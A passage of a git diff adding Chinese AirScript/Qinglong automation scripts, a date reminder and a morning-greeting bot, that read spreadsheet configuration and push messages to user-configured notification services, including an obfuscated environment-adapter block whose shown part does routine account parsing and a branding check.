(message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + // push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + messageHeader[posLabel] = "👨‍🚀 " + messageName + // console.log(messageName) + + i = pos - 1; + // 获取表格中的日期 + let now = new Date(); + let year = now.getFullYear(); + let month = now.getMonth() + 1; // 将月份转换为实际的月份(1 - 12) + let day = now.getDate(); + let riqi = `${year}年${month}月${day}日` + + let today = Range('D'+(i+1)).Value2 + let jinnian = formatDate(today).substring(0, 4) + let type = Range('F'+(i+1)).Value2 + let 月 = Range('G'+(i+1)).Value2 + let 日 = Range('H'+(i+1)).Value2 + let title = Range('E'+(i+1)).Value2 + + if(year != jinnian){ + if(type=='阳历'){ + targetRange = Range("D"+(i+1)) + targetRange.Value2 =(`${year}年${月}月${日}日`) + } + + if(type=='农历'){ + let resp = HTTP.get(`https://www.iamwawa.cn/nongli/api/?type=lunar&year=${year}&month=${月}&day=${日}`, { + headers: { "User-Agent": "iamwawa-open-api" } + }); + const data = resp.json() + targetRange = Range("D"+(i+1)) + targetRange.Value2 = data.data.solar + } + + } + + if(type=='每月'){ + let tixinri = Range('H'+(i+1)).Value2 + today = `${year}年${month}月${tixinri}日` + console.log(today) + }else{ + today = Range('D'+(i+1)).Value2 + today =formatDate(today) + } + + // 判断是否推送 + if(today!=riqi){ + // HTTP.get(bark+'/WPS日期提醒/'+title+'?icon='+icon, { + // headers: { "Content-Type": "application/x-www-form-urlencoded" }, + // }); + message = title + pushDirect(message) + } + + + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + sleep(2000); + + + return flagResultFinish +} + +/** +* @param {number} num +*/ +function formatDate(num) { + // 以1900年1月1日为基准,因为Excel等软件中日期计数以此为起点 + let baseDate = new Date(1900, 0, 1); + // 根据传入的数值计算出对应的日期 + let targetDate = new Date(baseDate.getTime() + (num - 1) * 24 * 60 * 60 * 1000); + let year1 = targetDate.getFullYear(); + let month1 = targetDate.getMonth() + 1; + let day1 = targetDate.getDate(); + return `${year1}年${month1}月${day1}日`; +} + +// 具体的执行函数 +function execHandle(cookie, pos) { + // 清零操作,保证不同用户的消息的独立 + // 青龙适配,青龙微适配 + posHttp = 0 // 置空请求 + qlpushFlag -= 1 // 一个用户只会执行一次execHandle,因此可用于记录当前用户 + messageSuccess = ""; + messageFail = ""; + + resp = "" + + if(qlSwitch != 1){ // 选择金山文档 + resultHandle(resp, pos) + } +} \ No newline at end of file diff --git a/脚本库/web版/账密/早安问候语/2025-08-25_zaoan_22a29697.js b/脚本库/web版/账密/早安问候语/2025-08-25_zaoan_22a29697.js new file mode 100644 index 0000000..ba081ab --- /dev/null +++ b/脚本库/web版/账密/早安问候语/2025-08-25_zaoan_22a29697.js @@ -0,0 +1,631 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/zaoan.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/zaoan.js +// # Repo: imoki/sign_script +// # Path: polymerization/zaoan.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 22a296974f99e452797b7780c1758fb2e3ecc5b549b4ef27337a6b734854aed7 +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "早安问候语" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240406 + 环境变量名:zaoan(修改这里) + 环境变量值:无(修改这里) + 备注:早安问候语 +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "zaoan"; // 分配置表名称, (修改这里) +var pushHeader = "【早安问候语】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let 